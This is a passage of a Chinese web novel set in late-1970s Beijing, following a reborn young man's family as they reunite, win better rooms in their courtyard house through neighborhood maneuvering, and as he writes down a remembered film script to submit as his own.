小雅能靠考大学回城,凭什么我就得继续在那个鸟不拉屎的地方待着? 我没指望你和大哥帮我想办法弄回来,我自个儿想法子回来还不成?” 第17章 敢情是邀功来了 这话说得高跃民老脸一红。 确实啊,自己对这个小弟的关心太少了。 他记起来,想当初还是自己闺女率先响应的号召,主动要求去北大荒插队。 三弟放心不下小雅一个人去到那么个荒凉的地方,连招呼都没打就去街道办报了名。 在过去的四年里,其实是三弟一直在充当着父亲的角色,护小雅周全。 从这点上来说,自己对弟弟是有亏欠的,是欠了弟弟好大情分的。 高跃民刚想张嘴跟弟弟道声歉,张雪梅先开口了。 “高老二,你有点过分了啊。”她把筷子往桌子上一拍,直视着自家男人,愤愤然说道:“在家里,你摆什么大学老师的谱啊?再说老三做错什么了吗? 要不是有老三护着,小雅还不知道要多遭多少罪! 你不念老三的好也就算了,弟弟刚回来,屁股都没把椅子捂热,就先被你劈头盖脸地骂一顿,你咋那么大能耐啊?” 见自己一句话不仅刺激到了三弟,也成功点燃了老婆的怒火,高跃民如坐针毡,一句辩驳的话也说不出来。 高雅也补了一刀,她轻声说道:“爸,这四年里,要没有小叔在我身边,我真的连顿饱饭都吃不上的。小叔每月的口粮,有多半进了我的肚子。 为了让我吃饱饭,小叔把能想的办法都想了。 他自个儿却经常饿得眼珠子发绿,但强忍着。 还有,咱京城去北大荒插队的男知青都坏得很,欺负女知青是常有的事儿。 我一次也没被欺负过,就因为刚到的时候,有个男青年跟我起腻,被我小叔拎着菜刀追了二里地,追上后把他暴卒瓦了一顿。 打那以后,男知青们都知道我是个有靠山的,就没人再敢跟我呲牙了。” 高远闻言对小叔说道:“叔,谢谢您啊,保护姐姐,本是弟弟应该去做的事情,这些年,辛苦您了。” 高跃林夹口牛肉,咽下后笑着说:“一家人说什么两家话,让外人听见了笑话。再说了,我好歹是你俩的长辈,当叔的护着点侄女,不让外人欺负她,那不是应当应分的嘛。” 高跃民这才端起酒杯,郑重其事地对弟弟说道:“老三,哥对不住你,也没站在你的角度上去考虑问题,二哥给你道个歉,对不起了。 这杯酒二哥敬你,二哥也不说那些感谢的话。 就像你说的,一家人不说两家话,出门在外,你护小雅周全是应该的。 来,咱俩干了!” 高跃林端起酒杯,跟二哥重重碰了一下,嗓音低沉,说道:“干!” 兄弟俩仰脖干了一杯酒,颇有些相逢一笑泯恩仇的江湖味道。 张雪梅跟高雅头碰头低声交流着。 高雅的双眼猛地瞪大了,然后不可思议望着高远,“真的假的?妈您说,我小弟是今年京城的高考状元?” 张雪梅起身把报纸拿过来递给她,眉开眼笑道:“这还能有假,丫头你看,《人民x报》上都刊登了你弟这次的高考作文了呢。” 高雅接过来,从头到尾认真读了一遍,再抬头,还是感觉到有些惊讶,但更多的是欣喜,“小远子,你牛气啊,这可太让姐意外了。 不过姐真为你高兴。 我弟是高考状元诶,作文还被报纸上刊登了,说出去多有面儿!” 高跃林一伸手,急切地说道:“我看看我看看。” 高雅又把报纸递给了他。 “写得不错啊,言之有物,立意也高瞻远瞩,站在考生的立场上描写过去的一年中学习有多么紧张,复习有多大难度……远子,这写的是你吗?”小叔笑眯眯瞧着高远。 高远脸红了,“那个啥,文学作品嘛,来源于生活但高于生活。” 一家人全笑了起来。 高跃民也挤兑他道:“我初看完这篇作文,跟你小叔是一个感觉,这好像不是我儿子过去一年的生活状态啊。 我儿子在过去的一年里,不是今儿去偷只鸡,明儿去摸条狗么,啥时候刻苦学习过? 后来一想,大概我儿子比较善于观察别人的生活吧。” “所以说,这么一想,你通顺了?”老妈笑呵呵问道。 “嗯,通顺了。”老爸点头说道。 桌子底下但凡有条缝的话,高远都得钻进去。 他一瞧,虽然是红砖地面,但砖与砖之间的缝儿却被水泥抹得那叫一个平整。 高雅端起水杯对高远说道:“小弟,姐祝贺你在恢复高考的第一次考试中取得优异的成绩。” 高远今天没喝酒,也把水杯端了起来,跟姐姐碰了碰,说道:“姐,弟弟也提前祝贺你被大学录取,上了大学后,咱姐弟俩一起努力学习,等将来毕业了,走上了工作岗位,也好为早日实现四个现代化做出我们的一点贡献。” 姐弟俩笑着喝了口水。 这仪式感有点强啊。 “嚯,几年没见,远子这境界可是提高了不少。”高跃林又跟高跃民碰了一杯,挑着眉说道。 “我儿子嘛,呵呵。” 张雪梅看高跃民一眼,也不知道他呵呵啥。 高远想起一件事儿来,这会儿趁大家都在,就对老爸说道:“您明天去学院报到,别忘记跟领导们提一提咱家房子的事儿啊。我小叔和我姐都回来了,这一间半房子就不够住了。” 高跃民笑着说:“不用你操心,就算你小叔和你姐没回来,我也想着这件事儿呢,我今天已经跟院领导提过了,院领导答应会认真考虑的。” 认真考虑也得需要一个过程。 高远决定再添把火,“爸,学院里跟咱家这种情况差不多的教师有不少吧?” 高跃民端起酒杯抿了一口,“嗯,大概有三十多人吧,你们也知道,前些年整风,老师们是重点照顾对象。 别说我们学院了,其他高校被打倒的老师们人数更多,教师住房也全被收回去了。 你怎么想起来问这茬了?” “现在不兴搞串联了,但也没说不允许遭受到不公平待遇的教育工作者们一起去向领导反映家庭实际困难不是?” 高远出主意道:“您一个人向领导反映问题,力度肯定不如大家伙儿一起反映大,您说是这个理儿吧?” “不行不行,照你说的,那跟搞串联有啥区别啊?”高跃民想都不想就拒绝了高远的提议。 他这是被整怕了。 张雪梅也不同意儿子的建议,她说道:“你就别瞎出主意了,爸妈都是从那个恶劣的环境中走过来的,知道人心的可怕。你爸这好不容易才恢复了工作,可不能再因为给自己谋私利被人告发丢了工作了。” 高远笑着说:“不用我爸出面跟老师们挨个打招呼的,只要放出风去……是吧小叔。” 高跃林坏笑道:“言之有理,二哥二嫂,这事儿你俩甭管了,收拾好铺盖卷?等着搬家就是了。” 这叔侄俩一唱一和的,让两口子苦笑连连。 但一想到家里多了两口人,实在是住不开。 高跃民和张雪梅对视一眼,也就默许了他俩的馊主意。 吃完这顿午饭都快两点钟了。 “跃民在吗?小远在家吗?” 外面忽然有人喊。 “在呢,您老进来吧。”高远一听就知道秦大爷过来了。 果不其然,秦大爷打头,街道办周大妈、李大妈、郑大妈联袂而至。 一进门,秦大爷四下里一瞧,嚯了一嗓子:“跃林和小雅回来了啊,你家今儿可是双喜临门。 我和街道办的几个同志听说小远的作文被《人民x报》刊载了,特地过来祝贺一下,没打扰你们一家子团圆吧?” “没有没有,嗐,这点小事儿怎么还把您老几位给惊动了,小远也是运气好,写的作文被选中了,真不是他肚子里有多少墨汁。您几位快坐,小远小雅给几位领导倒杯水来。” 张雪梅一叠声张罗着,脸上的笑容就没断过。 就差对几位说:夸啊,你们别停,继续夸啊,我可爱听了。 趁倒水的工夫,高雅低声问高远道:“咱妈这性格变化有点大啊,什么时候变得这么浮夸了?” 高远没忍住,乐了,“好像是打我刻苦复习那会儿变的吧,姐你没瞧着,你回来前,咱们已经在院子里炫耀过一轮了,还差点儿和刘婶吵吵上。” 高雅也抿着嘴笑,“为你感到骄傲了呗,老妈的心情是可以理解的。” 姐弟俩把水分别递到四位来客手中。 高远又得到了四位的一顿猛烈夸奖,说他是什么文曲星下凡,早看出来这孩子有状元之才巴拉巴拉。 夸得他都不好意思了,一直说着不值一提,不值一提。 “雪梅啊,我们几个今天过来,还有一事儿。”街道办话事人周大妈笑呵呵对张雪梅说道。 “周主任您说。” “我们知道,前些年你一直在延陵农村为治疗解除广大百姓的病患忙碌,工作上兢兢业业,从来不叫苦叫累,赢得了当地百姓的一致好评。 这些,我们也都看在了眼里。 现如今,虽然还没正式公布高考成绩,但我们觉得,小远考上大学是板上钉钉的了。 作文都被报纸刊登了嘛,这就是一个非常明确的信号了。 今后小远上了大学,生活没人照顾可不行。 耽误了孩子的学业,往小了说是埋没了一个人才。 往大了说,耽误的可是国家四个现代化的建设。 所以,经过我们街道办认真讨论,郑重向你们医院提出,把你从延陵调回医院工作。 院方领导考虑到你们家的实际情况,爽快地答应下来。 我们过来,就是跟你知会一声,过完元旦,你就可以回院里报到上班了。” 高远都听笑了,这四位敢情是来邀功的。 第18章 要房 对周大妈说的话,高远是一个字都不带信的。 什么街道办认真讨论后向医院提出,把老妈从延陵调回医院工作。 什么院方领导考虑到我家的实际情况,爽快答应了。 你搁这儿扯什么犊子? 街道办有这么大脸去给积水潭医院下达指示吗? 院长没喷你一口盐汽水都算给你面子了。 高远用脚后跟想也能搞清楚,是政策发生变化了,风向在变好,老妈才得以被医院调回来恢复工作的。 至于说这几个街道干部,明摆着是来向老妈讨功劳的。 说得好像她们为解决老妈回城的问题出了多大力似的。 高远瞧了瞧秦大爷。 秦大爷也刚好看着他。 老头儿苦笑起来。 这更让高远认定,三个老娘们儿是来讨好自己老妈的。 但他也没点破。 人情世故嘛,高远还是懂的。 很显然,老妈也懂。 张雪梅笑了笑,说道:“哎呀,那就太感谢几位领导的关心和照顾了,为我这点事儿还操心受累的。” 周大妈听了心里熨帖,老脸笑开了花,“都是街坊邻居,互相帮衬是应当应分的。” 她这话刚落地,高跃林点了根烟,慢悠悠问道:“周大姐,既然您都这么说了,我爹传下来这套房子您看,是不是也该给落实下政策,还给我们了?” 周大妈差点儿抽过去,她尴尬一笑,说道:“跃林啊,房子的事情街道办可说了不算,得区里批准才行,你就不要难为大妈了。” “我们家确实困难啊,您瞧,我和小雅今儿刚刚回来,家里这点地方,打地铺都困难。街道办要是不给解决,我晚上就只能去您家里对付着住了。”高跃林仍旧一副不疾不徐的语气,乐呵呵说道。 高远悄咪咪冲小叔挑起个大拇指。 就一个字:绝! “你去我家住算怎么档子事儿啊?”周大妈一下火大了,疾言厉色道:“我这么大年纪了,跟你个大小伙子睡一张床,传出去我还怎么做人?” “敢情您家里也不宽敞啊。” “我……” 秦大爷库库库,笑得像个漏了气的破轮胎,他太清楚周家的住房情况了,独门独院,总共九间房子,还有间单独的茅房,条件不是一般的优厚。 见周有容被高跃林挤兑得下不来台了,老李和老郑又是一副看热闹不嫌事大,一点递台阶的意思都没有,秦大爷想了想后说道:“跃林说得也没错,跃民家的现实情况摆在这里了。 一家五口,二十个平米确实住不开。 这套院子呢,我可以帮着证明一下,的确是高叔过世后留下来的。 出于这样那样的特殊原因,后来被组织上收了回去。 眼下,跃林和小雅返城回来了,没地方住,住房问题街道上是该帮着解决一下,总不能让他俩真去睡大街吧?” 他本就不愿意掺和街道办这些破事儿,是被周大妈几个人生拉硬拽过来的。 周大妈言之凿凿地说,你老秦跟老高家当了多年邻居,老高家有了喜事,不该去祝贺祝贺吗? 他不好推辞,就跟着一起过来了。 到了后听周大妈一个劲儿表功,秦国华老脸都没地儿搁了。 明明什么都没做,积水潭医院办公室的工作人员联系不上雪梅,把电话打到街道办,让你帮忙带个话,却被你歪曲事实,把功劳都揽到了自个儿身上。 人怎么能不要脸到这种地步? 说实话,秦国华非常讨厌周有容这种行为。 听高跃林提出了住房困难的问题,秦大爷觉得自个儿必须得仗义执言,帮衬一把。 “老哥哥,您是个明白人。”高跃林递给秦国华一根烟。 秦国华接过来,冲高跃林点头微笑。 高远赶忙摸出火柴,给秦大爷点了烟。 周有容感觉自个儿被架到了火上烤,此时浑身发烫。 高家的情况她当然一清二楚了,原本打算来邀个功,让老高家媳妇欠自个儿一个人情,今后有个头疼脑热的,也好向张雪梅这个外科权威开口求助。 没成想被刚到家的高老三提起了解决他住房的问题,一下就把自己怼到了墙角上。 还有老秦也跟着裹乱。 周有容频频向李大妈、郑大妈使眼色,意思是,你俩别不吱声,好歹说句话呀。 但这二位像是没看见一般,死活不肯开口。 周有容恨得牙根都痒痒,后悔不该跑这一趟。 却也清楚,老高家的住房问题,还必须得解决。 高家现在正在势头上,若是真闹起来,自个儿这个街道办主任可就没好日子过了。 “跃民啊,大姐知道你家的难处,你家人口多,房子面子小住不下,这事儿呢,秦大哥说得对,街道办应该帮忙解决,但办事处也有办事处的困难。 老三突然提出来,让我给立刻解决也不现实你说对吧?” 高跃民闷头抽着烟,全程冷眼旁观。 他见周有容把话递给了自己,抬起头吐出一个字来:“对。” 高远都想给老爸拍巴掌了。 老爸才是个有大智慧的人。 无论你说啥,我都应承着,反正我家的实际情况你都看在眼里了,事儿也不是我提出来的,但是你想让我表态,门儿都没有。 该怎么解决,你这个大主任看着办。 大概就这个意思。 周有容又被噎住了,她叹声气后说道:“我提个解决方案,你们一家商量看看行不行。咱这样,街道办院子里还闲着一间房,先让跃林凑合着住几天。 你们家这个情况呢,我会如实向区里领导汇报,争取让领导早日把这个院子归还给你家。” 高跃民还是一副笑眯眯的模样。 这时候,高远觉得自个儿该添一把柴火,便问了一句:“周大妈,这套院子产权明确吗?” 周有容是建国门街道的老人儿了,对街道办下辖的十几条胡同的房产情况十分熟悉。 她说道:“产权是明确、清晰的,这套院子的房契、地契,落的都是你爷爷的名。” 高远笑着说:“您这么说,我心里就痛快了。这样吧,我小叔也甭给您添麻烦去街道办住了,正好今天几位都在,麻烦几位给北屋那家人做做工作,让他们把北屋腾出来给我家住。 既然是我们自个儿的房子,虽说房子暂时归还不了,但我们一家人总有权利决定住哪间吧?” 第19章 我家不好过,就都别过了 高跃林也点头说道:“小远这话说得没错,我们不是不通情理的人家,组织上有困难,暂时归还不了房子我们非常理解。 但话又说回来了,既然组织上承认这套房子的所有权是我家的,也请组织上体谅一下我们一家人的难处。 周大姐,您能代表组织,就麻烦您跟老魏家打声招呼,让他家把北屋三大间腾出来吧。 这三间房,足够我们一家人住了。” 周有容好悬没原地飞升了,这是什么鬼主意啊,这不是让我去得罪人么? 秦国华开口说道:“就这么办吧,老魏家才四口人,霸占着三间房确实也不像个样子,让他们一家四口和跃民家换房,他们也挑不出理来。” 周有容叹声气,站起身说道:“成吧,那我就去说说看,要是老魏不答应,那我也没招了。” “您一定有招,做不通老魏家的思想工作,不用我小叔,我今晚都得死皮赖脸跟您走。”高远笑呵呵说道。 “你小子就块滚刀肉!”周大妈笑骂了一句,又怒瞪李大妈、郑大妈一眼,道:“您二位就不用我再三请四邀的了吧?抬抬屁股一起去吧,真以为这就是我一个人的事儿呢?” 李大妈、郑大妈这才尴尬笑着站起来,跟在周大妈身后出了门。 “远子,你这招好,不着急要求组织上立马归还房子,先来个闪转腾挪,从南屋搬到北屋去,把房子占住了,从情理上也能占个上风。” 秦大爷看得很明白,也摸清楚了高远打的什么主意。 高远笑笑,说:“我这点儿小心思到底没瞒过您老啊,您说对了,我就是要倒逼着周大妈想办法把房子给我们要回来。” 高跃民说道:“小远,给你大爷泡杯好茶。” 高远答应一声,跑里屋拿茶叶去了。 其实也没啥好茶,就是高末。 全称叫:高级茶叶末。 高末是这个年头京城百姓家里普遍最常喝的一种饮品。 接过高远递来的茶杯,秦国华哈哈大笑道:“跃民,你这有点看人下菜碟啊。” “不能够,主要是刚才几位大姐在,家里茶叶不多了,不够分。” “嗯,家家户户都不容易。”秦国华回了一句,又问高远道:“爷们儿,听说你考得不错,考虑好去哪所大学没?” 高远笑道:“我听我爸的。” 高跃民欣慰地看着儿子,笑笑说:“征求我意见的话,那必须得是北大。” 高雅也同意老爸的意见,她说道:“别去清华,忒没劲了。” 高远走到姐姐身边,从她手里把蛤蜊油拿过来,轻柔涂抹在她手背上,“姐,你怎么对清华有这么大成见啊?” 高雅很享受弟弟的服务,“也不是说有成见,姐只是觉得,清华的政治氛围有点浓,不像北大,学术气息更浓一点,你一个学中文的,将来又不打算从政,去清华肯定不如去北大合适。” “你怎么知道我没打算从政啊?说不定我毕业后心血来潮就进入体制内发展了呢。” “别抬杠!” “好的。” 天然的血脉压制了这属于是。 不到半个小时,周有容率领着哼哈二将回来了。 一同前来的还有魏红霞。 魏红霞七个不服八个不忿地扫视全场,最后将目光定格在高跃民脸上。 “高叔,换房这事儿是您的主意?” 见她气性有点大,高跃民主动揽下来,“没错,我的主意,你有什么意见吗?” “这院里住了四户人家,你凭什么非要跟我家换?看我家好欺负是吧?”魏红霞怒目圆睁,大声质问道。 高跃民刚想回击,被高远摁下了。 “凭什么?好问题,就凭北屋亮堂,住着舒服。”高远说道。 “凭这房子原本就是我家的。”高雅补充道。 “红霞,你也别说我们家欺负你,更别提这房子是组织上安排你家过来住的,就算是组织上安排的,现在周主任也有权代表组织对你家进行重新安置。 怎么,你还想对抗组织决定吗?”张雪梅这刀补得更狠。 “你们……你们也太欺负人了!”魏红霞跺着脚大声喊道。 “话不是这么说的,你家能住进来,已经占了大便宜了,做人得知足……算了,我也甭跟你在这儿浪费唾沫星子了,趁着街道办领导们都在,我就要你一句话,这房,你换还是不换?”高远直言不讳地问道。 “我不换你敢把我怎么着?你还想跟我动手不成?” “耍无赖就没意思了,你们家可以不腾房,我也不敢把你怎么着。不过嘛,我家没好日子过,大家就都别过舒坦了。” 高远可不是啥善男信女,尤其是牵扯到自家的利益,他寸步不让。 “高远!有种你就试试看!”说着,魏红霞窜到高远面前,伸出尖利的爪子抓向他的面门。 高雅眼疾脚更快,她都没站起来,抬脚就踹在魏红霞的小腿迎面骨上。 我弟弟我都不舍得动他一指头,你敢冲他亮爪子,我不收拾你收拾谁。 挨了一脚,疼得魏红霞哎哟一声,她抱着小腿蹦了起来。 “都消停点儿!”周大妈一看,这都动上手了,喘着粗气大声道:“眼里还有没有王法了?当着街道办领导的面都敢动上手了,你们几个是真不怕被抓到局子里去待着呀。” “他周大妈,你这话我就不爱听了。”张雪梅面若寒霜,冷声说道:“什么叫我们不怕进局子?家里这么多人都看着呢,谁先动的手? 我家小远都要被人抓破脸了,小雅这个当姐姐的再不阻拦,抓花了脸你负责啊? 这事儿就算去派出所说,我们也占理。 顶多就是个正当防卫!” 高跃民也来气了,他低声对高跃林说道:“老三,咱也甭麻烦周主任了,你跑一趟吧,把派出所的邱所长请过来替你侄女、侄子主持公道。 我还不信了,这天底下就没有讲清楚道理的地方了!” 高跃林点点头,腾地站了起来,抬腿就往外面走去。 一看事情闹大了,这下彻底惹烦了高家老小,周大妈赶忙拦住高跃林,“别别别,跃林你先别着急去派出所啊,这事儿大姐来解决,一定给你们一个满意的交代。” 高跃林冷眼望着她,“好,我就在这里看着你怎么给我们全家人一个满意的交代。” 周有容怒视着魏红霞,厉声喝道:“回去收拾东西马上搬家,你要是不执行组织决定,明天我就去你厂子跟你领导反映这个情况!你自己掂量着办吧!” 第20章 蔫巴坏 见周有容态度坚决起来,不像刚才在自己屋子里那样有商有量的说话,魏红霞就知道,这事儿不可逆了。 她当然得阻止周主任去自己厂里反映情况了,一旦被领导认定为不服从组织决定,对抗组织安排,给她带来的影响就太恶劣了。 不光将来晋职称会受到影响,调工资、分房等一系列的好事都将与她无缘。 魏红霞一瞬间就想明白这些事情,她尽管心里憋屈,还是含泪点着头,说道:“就不劳烦周主任专门跑一趟我单位了,我这就回去收拾,晚饭之前一定搬到这屋来。” 说完,她低着头走了。 周有容哼了一声,扭过头来,对高家这几位勉强一笑,说道:“这个魏红霞,你跟她好说好商量的她反倒更支棱起来了…… 好在问题圆满解决了,跃民、雪梅啊,我们就不打扰你们一家团聚了,你们也收拾收拾准备搬家吧。” 张雪梅面无表情地点点头,说道:“好,那我们就不送你了。” “留步,留步。”周有容讪笑一声,带着她的哼哈二将快步离开。 秦大爷把茶杯放下,也说道:“我也回去了,小远,待会儿搬家有啥需要帮忙的,你去隔壁跟大爷说一声。” 高远笑道:“东西不多,人够用,就不给您老添麻烦了。” “瞧这一家子,齐齐整整的,真好。”秦大爷说完,踱步出了门。 高远把秦大爷送到大门口,目送他进了院门后才回了屋。 老妈和姐姐已经在里屋收拾东西了。 老爸拍拍高远的肩膀,笑得跟朵月季花似的,显然为他今天的表现深感满意。 高远也很得意,凭着自己的智慧,要房迈出了重要的一步,他没有理由不高兴的。 高跃林这时候说道:“二哥,你现在没事儿的话,陪我一起去洗个澡吧,坐了两天一夜的火车,我身上都招虱子了。” 高跃民笑着说道:“好,二哥陪你泡澡去。雪梅,你和小雅也别忙着收拾了,也带闺女去泡个澡,泡完回来再收拾也不迟。” 里屋的张雪梅说声好,从樟木箱子里拿了几件换洗衣服装进布袋子里,和高雅走出来。 住杂院,各家各户洗澡就是个大难题。 要么去澡堂洗,要么在家洗。 在家洗特别麻烦,家里几口人就要烧几锅热水,每人用一锅,一个人在屋里坐大澡盆中洗,其他人在外面等着。 因为电力供应不足,时不时就会停电,如果遇到停电,房间里乌漆嘛黑,洗一半就得匆忙擦干。 因此,去澡堂里洗澡就成为老百姓们的第一选择。 这年头洗个澡也不贵,自带洗头膏和胰子,才五分钱一张澡票。 讲究一点的人,连洗带搓外加修脚,也花不了两毛钱。 有人早上去晚上回,中午饭都在澡堂里面解决,一泡就是一天。 俗称:堂腻子。 高跃林问高远:“小远去不去?” 高远摆摆手,说:“前两天刚泡过,我就不去了。你们去吧,我在家里收拾点零碎儿。” 四个人走了。 秦大爷临走前儿那句话给高远提供了灵感。 他坐在桌前,拿了本稿纸拧开钢笔帽,笔走龙蛇,文思泉涌。 其实就是原剧本照抄。 这个故事叫——瞧这一家子。 简单说,该片讲述了毛纺厂车间主任老胡的女儿嘉英,和车间修理工郁林相恋,两人一起研究技术革新,以及他文工团演员的儿子嘉奇,与新华书店营业员林小红相爱的故事。 严格意义上说,这部电影是新中国成立后由京城电影制片厂制作、拍摄的首部喜剧片。 具有里程碑式的意义。 这部电影,高远上辈子翻来覆去看过好几遍,照扒一点难度都没有。 仅一个小时,他就完成了近一半的“创作”。 看看窗外的天,想着爸妈也差不多快回来了,高远把稿纸收回抽屉里,开始慢慢悠悠收拾自己的衣物。 刚装满一个箱子,四位亲人走了进来。 “呀,姐你变漂亮了,容光焕发的。” “去你的,少拿我打镲。不过泡个澡是真舒服,感觉全身的毛孔都张开了。” “从里到外透着一股子舒爽,是吧?” “没错,就是这感觉。” 高远接过姐姐替换下来的脏衣服,往盆里一放,端着盆出了屋。 晚饭是热的中午的剩菜。 在这个艰苦的岁月中,每一粒粮食都非常珍贵,没人浪费。 因为要搬家,晚饭就吃得早,不到五点就吃完了。 高跃林往北屋跑了一趟,见老魏家也把东西收拾妥了,回来后开始忙活着往外搬东西。 下班回来的王立伟两口子主动过来帮忙。 见高雅回来了,李凤芝拉着她的手先热聊了几句,然后才开始帮着张雪梅和高雅整理衣服。 四个男人搬运物品,效率就很高了。 床不用搬,老魏一家人睡的那几张床,还是高远爷爷留下来的。 把被褥往床上一铺就完事儿。 老魏一家四口打量着这三间住了好几年的屋子,有点不舍得,离开前看向老高家五口人的目光充满了仇恨。 高跃林是个不吃气儿的脾气,他冲这家的户主魏先军亮了亮拳头,威胁道:“瞪什么眼,不服咋的? 丫还别跟我耍横,我今儿明着警告你,丫敢在背地里给我的家人们使绊儿,我弄死你个老丫挺的!” 魏先军当然知道高跃林是个混不吝了,见高跃林发了狠,他屁都没敢放一个,拉着老婆孩子出门走向南屋。 高家从南屋搬到北屋来,最震惊的当属刘婶。 “当家的,你说,下一步,高跃民会不会向组织上打报告,申请把这套院子要回去啊?”刘婶抱着个二大碗,呼噜呼噜喝稀粥。 眼见着高跃民一家人搬进了北屋里,她顿时觉得稀粥不香了,忧心忡忡地问刘前进。 刘前进放下了筷子,往北屋瞧了一眼,蹙着眉说道:“不能排除这个可能性啊,这院子,本来就是高家老爷子留下来的,高跃民申请归还,也是合情合理的。” 刘婶提高点嗓门说道:“可是不合法,我们住在这里,也是组织上安排的,组织上就算把院子还给他们家了,他也没权利赶我们走人。 我们也是有正当手续的。” 这年头的政策就这么奇葩,院子可以还给你,但先说好了,你不能驱赶之前的住户,得等到人家主动搬走后,这套院子才真正完完全全属于你了。 刘前进是个蔫巴坏,别看他平时不声不响的,算计起人来,一肚子坏水儿。 “走是不可能走的,这不还没到那一步么,等到他把院子要到手了,咱们死活不搬,他还敢封咱家门不成?” 刘婶却没那么乐观,“要高家只有高跃民那个穷酸书生和高远那个毛孩子,咱不给他家腾房他爷儿俩也不敢把我们怎么样,现如今不是高老三那个浑蛋玩意儿回来了嘛。 高老三下乡前就是建国门这片儿出了名的混混头子,他要是耍起混来,咱家这两间半房,还真不一定保得住。 还有高家那个丫头,牙尖嘴利的,也不是个省油的灯。” 刘前进哼了声,“他高跃民有弟弟有儿子有闺女,我刘前进也儿女双全,我上面也有哥,真到了撕破脸的地步,我怕他?” 刘婶叹声气,说道:“快别说你那个儿子了,他都几天没回过家了?他还跟媳妇闹离婚,这下可好,逼得媳妇往娘家一住,也不回来了! 就你儿子那个不成器的东西,你能指望得上?” 听老伴儿提起儿子刘辉来,刘前进也没了脾气,但他执拗,“你也别老挑儿子的不是,儿子媳妇闹不和,还不都是被魏红霞那个狐狸精给勾引的。 要我说,老魏家被高跃民赶到南屋住,就是报应!” “我就怕这报应早晚会落到我们家里来啊。” “闭嘴吧你,能不能盼点好儿?” 刘前进两口子正在大讨论的时候,高远一家人齐心协力,已经把屋子打扫干净了。 张雪梅多少有点洁癖,她把高跃民兄弟俩,高远姐弟俩指挥得团团转。 重新抹了桌子,光地面就拖了三遍。 一间堂屋三间正房宽敞明亮,东边那间是父母的卧室。 西边有两间,姐姐住靠北那间,高远和小叔住隔壁靠南的那间。 两间房门都冲着堂屋。 高远这间屋子没有上下床,靠墙边摆放着两张单人床,另有书桌、椅子等物,火炉子烧得正旺。 搬完家后,王立伟跟高跃民杀了两盘才心满意足地告辞离开。 高远往老爸的茶缸子里续上开水,笑着说:“虽说咱们在这里也住不了几天了,但总算开了个好头儿。” 高跃民清楚儿子的心思,“嗯,等来年吧,开春儿后我抽空跑一跑,争取早日把这套院子要回来,毕竟是你爷爷留下来的,院子虽破,也是自个儿的家。 就算咱们不住,翻盖一下,你小叔小姑也有个栖身之所。” 高远点头说是。 他记忆中,上辈子把这套院子要回来后,小叔使了些手段把刘、魏两家人赶走,就一直在这里住着。 说起来,小叔也是个玩世不恭,游戏红尘的主儿。 他跟自己一样,一辈子没结过婚,却在南方生了一儿一女,女人更是没断过。 对他这种无论走到哪儿都能留一段情的做派,高远佩服的五体投地。 他对女人有一种天然的吸引力,女人见了他,就跟苍蝇闻到了屎一般,前赴后继地往他身上扑。 并且倒贴的大有人在。 高远知道的就好几个。 比如京城一有钱人家的妙龄少妇,为了讨得他的欢心,不惜顶住巨大的舆论压力离了婚,还把分到手的钱全部拿给他做生意了。 小叔上辈子活得潇洒,就是因为占了女人的光。 “话说小叔,您达到目的回来了,有没有想过接下来干点啥?”高远笑眯眯问他道。 第21章 投稿 高跃林也捧着个搪瓷缸子吸溜吸溜喝高末。 见二哥也望过来,一副我也很关心你的样子,他满不在乎地说道:“干啥?等分配呗,回都回来了,街道上总得给安排个活儿干吧。” 高远知道,今年是最后一批知识青年奔赴广阔天地去大有作为,打明年起,各地的知青就都陆续回城了。 知青下乡是为了缓解城市的就业压力,知青回城,又给城市带来了新一轮的就业压力。 像个循环。 实话说小叔回来的这个时间段可太讨巧了,只要向街道办提出要求,再疏通疏通关系,街道办给安排个工作问题不大。 再过两年,全京城40万待业大军,为争取一份工作,真能把人脑子打成狗脑子。 但高远太了解小叔的脾气性格了,他压根儿就不是个往单位办公室里一坐就能稳住腚的人。 领导要是敢把他安排到生产一线去,他敢跳起来咬人。 高远嘿嘿笑道:“我建议啊,您做戏做全套,工作的事情往后稍稍,让我妈给您走走后门,先去医院住几天吧。” “对哦,我是打着治病的旗号返的城,住院单子还得寄回垦区让领导备案,不然就露馅了……二嫂,这忙您得帮,全靠您了哈。”高跃林讨好地冲张雪梅抱拳拱手。 对张雪梅来说这是违反原则的事情,但她也不是个思想腐朽的人,况且求她帮忙的还是自家小叔子。 她勉为其难地答应下来:“没问题,赶明儿我就去院里托关系,给你办个住院手续,住不住的另说,病床得先占一张。” “多谢二嫂。”高跃林嬉皮笑脸道。 高跃民想了想,话到嘴边,最后还是咽了回去。 有些话,说了也没用,自己这个弟弟根本不会听,老婆我也说不动。 此刻他感觉,在这个家里,自个儿像是个外人。 这让老高有点沮丧了。 高远泡了脚,回到自己的房间,躺在床上嘴角挂笑。 回想这段时间,上演过表白闹剧,挨过一顿狠揍,经历过高考,考得非常棒,作文被报纸刊登了,似乎也找到了事业发展的方向。 日子过得可真够多姿多彩的。 他坚定地认为,随着改革春风吹满地,日子只会越来越好。 凭借着自己的先知优势,也会给亲人们创造一个衣食无忧的生活环境。 这么想着,高远迷迷糊糊睡了过去。 元旦佳节到来了。 意味着1977离我们远去,1978照进了现实。 当清晨的第一缕阳光透过窗帘照进屋子,高远睁开了眼睛。 起床后他发现家里已经空无一人。 这时候元旦是不放假的,过年还讲究个三十不停战,初一接着干。 不得不说,无论是国家干部、工人阶级,还是无产阶级份子、医务工作者,全国上下各条战线上的同志,对待工作都是认真负责的。 老爸去学院上班了。 从新开路胡同到钢铁学院,骑行需要一小时二十分钟左右。 大大减少了老爸浪费在路上的时间。 他再也不用每天天不亮就出门了。 老妈昨晚就说,今天要回延陵取她遗留在村里的行李物品,姐姐随行。 至于说小叔,高远知道,他回来后除了第二天去了趟医院点了个卯,占了个床位外,这几天一直满京城乱逛。 他和几位老友恢复了联系,建国门这块儿的各路天王们见天请小叔吃饭,理由不外乎是给他接风洗尘。 不到天黑,你是见不到他面儿的。 回来后他就开吹,今儿吃了老莫,昨儿在京城饭店暴搓了一顿,前儿在东来顺涮的铜锅子,明儿打算去全聚德跟烤鸭子比画比画。 人面儿宽,路子野,没办法。 那得意洋洋的语气好像全京城的饭店,只有他去不去,没有不接待的一般。 听得高远直上头。 洗漱过后,高远懒得做早饭,去厨房里拿了个合面馒头,掰成小块往开水里一泡,就着拌好的萝卜丝咸菜简单对付了一口。 吃过饭后往书桌前一坐,一气呵成,把还没写完的故事收了尾。 全篇大概4万多字,他看了看,很满意。 高远也不想再磨叽了,今天就给北影厂送过去。 他翻箱倒柜找了个牛皮纸袋子,把稿子放进去,又提笔在牛皮纸袋上写了:Bj电影制片厂《电影创作》杂志社编辑部收。 写好后拿着纸袋出了门。 高远有点小激动,他盼这天很久了。 